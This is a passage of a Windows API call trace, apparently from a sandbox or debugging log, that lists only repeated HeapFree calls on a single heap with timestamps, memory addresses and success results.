returned 1 [0267.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.801] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0267.801] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0267.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0267.973] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.973] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.973] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0268.185] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.304] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.474] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.474] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.474] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.474] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.474] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.474] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.474] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.476] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.476] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.476] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.476] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.477] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.477] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.477] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.477] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.478] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.478] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.478] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.478] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0268.480] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.483] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.483] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.483] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.483] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.483] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.483] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.485] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.485] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.485] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.485] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.485] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.485] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.485] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.486] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.486] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.486] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.486] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.486] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.486] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0268.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.489] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.489] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0268.491] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0268.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0268.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0268.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.663] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.680] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.681] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.682] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.683] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.684] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.685] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.686] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.687] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.687] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.688] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.688] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.689] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.689] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.689] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.689] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.690] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.691] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.692] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.693] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.693] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.694] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.695] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.696] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.704] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.704] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.704] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.706] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.706] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.706] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.707] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.707] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.828] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.829] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.829] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.829] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0268.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0268.837] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.846] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.846] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0268.846] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.858] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.859] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.859] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.860] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.863] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.866] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.866] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.867] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.867] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.867] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.871] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.871] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0268.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0268.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0268.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.899] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.899] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0268.899] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0268.906] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0268.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.045] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.062] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.063] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.063] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.063] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.063] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.063] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.064] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.064] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.064] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.064] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.064] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.064] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0269.065] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0269.255] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.284] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.285] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.286] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.286] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.287] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.288] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.289] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.290] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.290] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.291] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.292] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.293] HeapFree (in: 